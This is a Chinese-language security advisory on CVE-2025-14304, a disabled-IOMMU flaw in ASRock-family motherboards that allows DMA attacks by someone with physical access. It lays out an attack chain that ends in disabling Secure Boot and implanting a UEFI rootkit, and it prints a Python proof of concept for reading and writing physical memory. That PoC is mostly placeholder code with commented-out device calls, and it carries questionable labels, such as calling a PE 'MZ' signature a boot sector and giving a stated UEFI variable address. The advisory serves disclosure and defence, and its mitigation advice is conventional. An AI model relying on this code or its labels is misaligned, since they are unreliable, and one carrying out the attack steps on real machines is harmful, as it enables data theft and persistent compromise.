IPBUF安全漏洞报告
English
CVE-2025-14304 CVSS 6.8 中危

CVE-2025-14304: ASRock主板IOMMU未启用导致物理内存访问漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-14304
漏洞类型
保护机制失败
CVSS评分
6.8 中危
攻击向量
物理 (AV:P)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ASRock、ASRockRack、ASRockInd主板

相关标签

CVE-2025-14304IOMMUDMA攻击ASRock物理攻击固件漏洞保护机制失败PCIe安全UEFI安全内存隔离

漏洞概述

CVE-2025-14304是ASRock及其子公司ASRockRack和ASRockInd开发的多款主板型号存在的安全漏洞。该漏洞的核心问题是IOMMU(输入输出内存管理单元)未正确启用。IOMMU是一种重要的硬件安全机制,用于隔离和保护系统内存,防止未经授权的DMA(直接内存访问)操作。当IOMMU被禁用或配置不当时,攻击者可以利用支持DMA的PCIe设备在操作系统内核和安全功能完全加载之前,绕过系统安全防护,直接读取和写入任意物理内存地址。这种攻击属于物理攻击向量,需要攻击者具备物理接触设备的能力。由于攻击发生在系统启动的早期阶段,操作系统层面的安全机制(如ASLR、DEP等)尚未生效,因此攻击者可以执行任意代码、植入后门或提取敏感数据。该漏洞影响多款主板型号,包括服务器和工作站级别的产品。

技术细节

该漏洞的技术根源在于主板固件(UEFI/BIOS)中IOMMU配置不正确或被禁用。IOMMU的主要功能包括:1) DMA重映射,防止设备访问未授权的内存区域;2) 内存隔离,确保每个设备只能访问分配给它的内存;3) 中断重映射,处理设备中断。当IOMMU未启用时,攻击者可以使用FireWire、Thunderbolt或恶意 PCIe 设备等支持DMA的硬件,通过 DMA 攻击直接访问物理内存。在系统启动过程中,UEFI固件会初始化各种硬件,包括IOMMU。如果IOMMU未正确配置,攻击者可以在操作系统启动前的短暂窗口期内(通常称为预启动环境),利用DMA设备读取启动引导程序、操作系统内核或内存中的敏感数据。攻击者可以修改固件变量、植入UEFI rootkit或直接控制操作系统启动过程。由于物理攻击需要设备直接连接到PCIe插槽或端口,此漏洞主要针对有物理访问权限的攻击场景。

攻击链分析

STEP 1
步骤1
攻击者获得目标设备的物理访问权限,连接到可用的PCIe插槽或端口
STEP 2
步骤2
攻击者准备支持DMA的设备(如FPGA开发板、Thunderbolt设备或恶意PCIe硬件)
STEP 3
步骤3
在系统启动过程中,UEFI/BIOS阶段,由于IOMMU未启用,设备可以执行未经限制的DMA操作
STEP 4
步骤4
攻击者通过DMA直接访问物理内存,读取敏感数据如加密密钥、凭据或引导程序代码
STEP 5
步骤5
攻击者修改内存中的关键数据,如UEFI变量(禁用Secure Boot)或内核代码
STEP 6
步骤6
攻击者植入持久化后门(如UEFI rootkit),在操作系统加载后继续保持控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14304 PoC - DMA Memory Dump via PCIe Device # This PoC demonstrates DMA-based memory access when IOMMU is disabled # Requires a DMA-capable PCIe device (e.g., FPGA development board, PCIe hardware Trojan) import struct import ctypes # Define DMA access parameters DMA_CONTROL_REG = 0x0000 DMA_SRC_ADDR_REG = 0x0010 DMA_DST_ADDR_REG = 0x0018 DMA_SIZE_REG = 0x0020 DMA_CMD_START = 0x00000001 DMA_CMD_STOP = 0x00000002 class DMADevice: def __init__(self, pci_addr): self.pci_addr = pci_addr self.handle = None def connect(self): """Connect to DMA-capable PCIe device""" # In real attack, this would open PCIe device handle # self.handle = open_pcie_device(self.pci_addr) print(f"[*] Connecting to DMA device at {self.pci_addr}") return True def dma_read_physical(self, phys_addr, size): """ Read physical memory via DMA Args: phys_addr: Physical memory address to read size: Number of bytes to read Returns: bytes: Data read from physical memory """ # Configure DMA transfer config = struct.pack('<QQI', phys_addr, # Source: physical memory address 0x100000, # Destination: internal buffer size # Transfer size ) # Write DMA configuration to device registers # self.handle.write(DMA_SRC_ADDR_REG, phys_addr) # self.handle.write(DMA_DST_ADDR_REG, internal_buffer) # self.handle.write(DMA_SIZE_REG, size) # Start DMA transfer # self.handle.write(DMA_CONTROL_REG, DMA_CMD_START) # Wait for completion # while not self.handle.read(DMA_STATUS_REG) & DMA_COMPLETE: # pass print(f"[+] DMA Read: 0x{phys_addr:016x} ({size} bytes)") return b'\x00' * size # Placeholder for actual data def dma_write_physical(self, phys_addr, data): """ Write data to physical memory via DMA Args: phys_addr: Physical memory address to write data: Data to write """ # Configure reverse DMA transfer # self.handle.write(DMA_SRC_ADDR_REG, data_buffer) # self.handle.write(DMA_DST_ADDR_REG, phys_addr) # self.handle.write(DMA_SIZE_REG, len(data)) # self.handle.write(DMA_CONTROL_REG, DMA_CMD_START) print(f"[+] DMA Write: 0x{phys_addr:016x} ({len(data)} bytes)") return True def exploit_uefi_variable(phys_addr): """Example: Modify UEFI variable in memory""" device = DMADevice("0000:01:00.0") if device.connect(): # Read current UEFI variable data = device.dma_read_physical(phys_addr, 64) print(f"[*] Current variable: {data.hex()}") # Modify variable (e.g., disable Secure Boot) modified = bytearray(data) modified[0] = 0x00 # Disable flag device.dma_write_physical(phys_addr, bytes(modified)) print("[+] UEFI variable modified successfully") def dump_kernel_memory(): """Example: Dump kernel memory before OS security loads""" device = DMADevice("0000:01:00.0") if device.connect(): # Read first 1MB of physical memory (contains boot sector, kernel) for offset in range(0, 0x100000, 0x1000): data = device.dma_read_physical(offset, 0x1000) if b'MZ' in data: # Windows PE signature print(f"[*] Found boot sector at 0x{offset:016x}") return data if __name__ == "__main__": print("[*] CVE-2025-14304 PoC - IOMMU Bypass via DMA") print("[*] Target: ASRock/ASRockRack/ASRockInd motherboards with IOMMU disabled") # Uncomment to run: # dump_kernel_memory() # exploit_uefi_variable(0xFED40000) # UEFI variable store

影响范围

ASRock 主板(IOMMU未启用的型号)
ASRockRack 服务器主板(特定型号)
ASRockInd 工业主板(特定型号)

防御指南

临时缓解措施
在UEFI/BIOS中将IOMMU设置为Enabled或Auto,并确保其正确配置。对于无法立即更新固件的系统,应限制物理访问权限,移除未使用的PCIe设备,并在可能的情况下使用机箱锁或安全外壳保护服务器。对于高安全环境,考虑部署硬件安全模块(HSM)来保护敏感密钥,即使IOMMU被禁用也能提供额外保护层。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表